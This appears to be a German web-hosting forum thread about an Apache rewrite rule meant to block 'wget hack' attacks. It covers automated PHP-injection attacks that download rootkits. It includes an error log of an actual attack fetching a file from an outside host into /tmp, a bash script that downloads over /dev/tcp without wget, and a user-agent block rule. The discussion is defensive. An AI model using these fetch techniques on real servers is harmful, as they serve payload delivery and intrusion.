wget hack prevention

Powie · Feb 3, 2011

Gefunden in der .conf

Code:

# 
# wget-hack prevention 
# 
<IfModule mod_rewrite.c> 
    RewriteEngine on 
    RewriteCond %{HTTP_USER_AGENT} ^LWP::Simple 
    RewriteRule ^/.* http://%{REMOTE_ADDR}/ [L,E=nolog:1] 
</IfModule>

Was bezweckt das?

d4f · Feb 3, 2011

Das sperrt das Kommandozeilen-Werkzeug "WGET" mit dem Default-UserAgent aus. Also
1) kann jeder es umgehen
2) ist wget kein 'hack' sondern ein nuetzliches Programm
3) kann man mit vielen anderen Tools Exploits suchen und benutzen.

kannnix · Feb 4, 2011

Hi,

diese Konfiguration sperrt nicht direkt wget, sondern sämtliche Clients, die sich als LWP::Simple ausgeben, vordergründig erstmal Perlscripts.
Davon gibt es gute und böse und der Autor dieses Konfigurationsschnipsels hat wohl die Erfahrung gemacht, dass sehr gerne damit gescriptet wird um über unsichere php Scripte einen wget Download anzustoßen.

Das 'hack' bezieht sich also nicht auf wget, sondern auf deb Umstand, dass es von vielen Exploits genutzt wird.
Ich bin eher der Meinung man sollte wget auf einem Webserver nach dessen Einrichtung deinstallieren.

Gruss

marce · Feb 4, 2011

kannnix said:
Ich bin eher der Meinung man sollte wget auf einem Webserver nach dessen Einrichtung deinstallieren.

Na, GsD ist es ja auch auf sonst so gut wie keinem System drauf

Gerne wird sowas genommen, um dafür zu sorgen, daß man "nicht einfach so" einen kompletten Mirror der Seite erstellen kann...

Roger Wilco · Feb 4, 2011

Nur mal so nebenbei, wget liefert als User-Agent header nicht "LWP::Simple[…]". Insofern ist schon der Kommentar zu der RewriteRule nicht korrekt.

Kurz und knapp: Weg damit.

d4f · Feb 4, 2011

Ich bin eher der Meinung man sollte wget auf einem Webserver nach dessen Einrichtung deinstallieren.

Dann werden aber Updates sowie Installationen von Zusatzprogrammen erheblich verkompliziert. Wenn jemand Shell-Zugriff hat kann er viel mehr als ein schnoedes wget benutzen.

kannnix · Feb 4, 2011

d4f said:
Dann werden aber Updates sowie Installationen von Zusatzprogrammen erheblich verkompliziert. Wenn jemand Shell-Zugriff hat kann er viel mehr als ein schnoedes wget benutzen.

Da stimm ich dir absolut zu. Nur läuft das doch alles heutzutage vollautomatisch (gerade die wget-im-apache-log Angriffe). Da wird einmal der Exploitbaukasten angeworfen und ganze IP-Ranges durchlaufen und dann wird geschaut was denn am Ende erfolgreich war.
Wenn das Script dann kein wget findet, schaut kein Scriptkind nach, woran es denn gelegen hat, sondern ist mit den anderen 99 Treffern zufrieden.

Jemand der sich nur 'deinem' Server widmet hält ein fehlendes wget in der Tat nicht von weiteren Böswilligkeiten ab

Gruss

Joe User · Feb 4, 2011

Quick&Dirty Hack:

Code:

#!/bin/bash
if [ $# = 0 ]; then
  echo "Usage: http-get <URL>" >&2
  exit 1
fi
URL=${1##http://} &&
SERVER=${URL%%/*} &&
FULLFILENAME=${URL#$SERVER} &&
FILENAME=${FULLFILENAME##*/}
echo -n "Fetching $SERVER$FULLFILENAME... "
(echo -e "GET $FULLFILENAME HTTP/1.0\r\n\r\n" 1>&3 &
cat 0<&3) 3<>/dev/tcp/$SERVER/80 | (
  read i
  while [ x"$(echo $i | tr -d '\r')" != "x" ]
  do
    read i
  done
  cat
) >$FILENAME
echo "done."
exit 0

Soviel zum Thema wget deinstallieren...

d4f · Feb 4, 2011

Wenn das Script dann kein wget findet, schaut kein Scriptkind nach, woran es denn gelegen hat, sondern ist mit den anderen 99 Treffern zufrieden.

Du gehst hier davon aus dass der Angreifer einen Angriff auf ein Sicherheitsloch in einem PHP-Skript ausfuehrt, Quellcode hochladen kann und shell_exec erlaubt ist. Und dann soll der Angreifer wget benutzen wenn er in PHP selbst die Funktionen fopen() und fsockopen() hat?

Oder meinst du dass wenn das Skript geblockt wird weil der Useragent entdeckt wurde?

Joe User · Feb 4, 2011

d4f said:
Du gehst hier davon aus dass der Angreifer einen Angriff auf ein Sicherheitsloch in einem PHP-Skript ausfuehrt, Quellcode hochladen kann und shell_exec erlaubt ist. Und dann soll der Angreifer wget benutzen wenn er in PHP selbst die Funktionen fopen() und fsockopen() hat?

Du denkst zu kompliziert

Eine schnöde ungefilterte Input-Variable genügt leider oft schon um einen wget/whatever-Aufruf ausführen zu lassen. Und shell_exec und Konsorten hat doch in freier Wildbahn kaum jemand deaktiviert.

Powie · Feb 4, 2011

Ich hab mal bissel in den Error Logs vom Apache gestöbert, da findet man ja auf einem frequentierten System allerhand lustige Sachen die Angriffs"versuche" sind.

Interessant aber, und eventuell zum Thema passend sowas:

Code:

...
[Fri Jan 28 18:17:44 2011] [error] [client 216.245.222.67] File does not exist: /srv/www/web52/html/admin
sh: fetch: command not found
--18:17:48--  http://hbbb.com.au/.../css.log
           => `/tmp/css.log'
Resolving hbbb.com.au... 184.106.137.176
Connecting to hbbb.com.au|184.106.137.176|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27,302 (27K) [text/plain]

    0K .......... .......... ......                          100%  120.89 KB/s

18:17:48 (120.89 KB/s) - `/tmp/css.log' saved [27302/27302]
...

Die css.log liegt auch in temp, anscheinend war aber erstmal nix weiter damit anzufangen. Der Versuch also einen rootkit einzuschleussen.

kannnix · Feb 5, 2011

Powie said:
Die css.log liegt auch in temp, anscheinend war aber erstmal nix weiter damit anzufangen. Der Versuch also einen rootkit einzuschleussen.

Wenn du die Datei auf dem System hast, kannst du davon ausgehen, dass sie auch ausgeführt wurde (denn einen Schritt vorher konnte der Angreifer ja schon wget aufrufen).

Ich würde das System einer äußerst strengen Prüfung unterziehen, typischerweise hast du ein paar IRC Verbindungen laufen die dan Kontrollkanal des Bots darstellen. Möglicherweise wurden auch Tools wie netstat manipuliert, sodass diese Verbindungen nicht angezeigt werden. Auf alle Fälle ist erhöhte Aufmerksamkeit gefragt.

Gruss

Powie · Feb 5, 2011

Wir haben auf unseren Servern AFIK und rootkithunter im Einsatz, mit der Maschine ist alles OK.
Nachdem ich vor Jahren mal intensiv Bekanntschaft mit dem th0rnkit gemacht habe weiss ich mittlerweile recht gut ob das System OK ist oder nicht.

Trotzdem, die Maschine ist ein Suse 10 was schleunigst runter muss.....

Powie · Feb 5, 2011

Nach etwas Analyse habenn wir eine andere Maschine gefunden auf der die Angriffe viel viel häufiger sind, aber scheinbar schon an einer anderen Hürde scheitern. Dazu habe ich aber mal ein anderes Thema aufgemacht, wir würden da gern die "Lücke" analysieren über welche die Angriffe laufen.

Angriffe über Apache analysieren

Auf einem Server sind uns extreme Angriffe aufgefallen welche darauf abzielen zu versuchen einen rootkit einzuschleussen. Das ganze sieht verstärkt so aus das wir die folgenden Einträge im Apache Error Log finden: sh: fetch: command not found sh: wget: command not found sh: wget: command not...

serversupportforum.de

Interessant: Nutze ich auf dieser Maschine ( Confixx ) den ispCP wget-hack-prevention im confixx_vhost.conf ist schlagartig Ruhe mit dem Theater.

d4f · Feb 5, 2011

Durch PHPIDS und mod_security2 kann man die meisten entsprechenden Angriffe erkennen und filtern ohne einem vom Client uebermittelen "Ich-koennte-Boese-sein" zu vertrauen.
Natuerlich verlangt beides etwas mehr Arbeit und Wartung aber dafuer tut es auch was es soll

Alternativ funktioniert auch "iptables -I INPUT --dport 80 -j DROP" um den Webserver ab zu sichern.

Roger Wilco · Feb 5, 2011

d4f said:
Alternativ funktioniert auch "iptables -I INPUT --dport 80 -j DROP" um den Webserver ab zu sichern.

Das geht auch ohne Netfilter.

wget hack prevention

Powie

Registered User

d4f

Kaffee? Wo?

kannnix

Registered User

marce

Well-Known Member

Roger Wilco

Active Member

d4f

Kaffee? Wo?

kannnix

Registered User

Joe User

Zentrum der Macht

d4f

Kaffee? Wo?

Joe User

Zentrum der Macht

Powie

Registered User

kannnix

Registered User

Powie

Registered User

Powie

Registered User

Angriffe über Apache analysieren

d4f

Kaffee? Wo?

Roger Wilco

Active Member

We value your privacy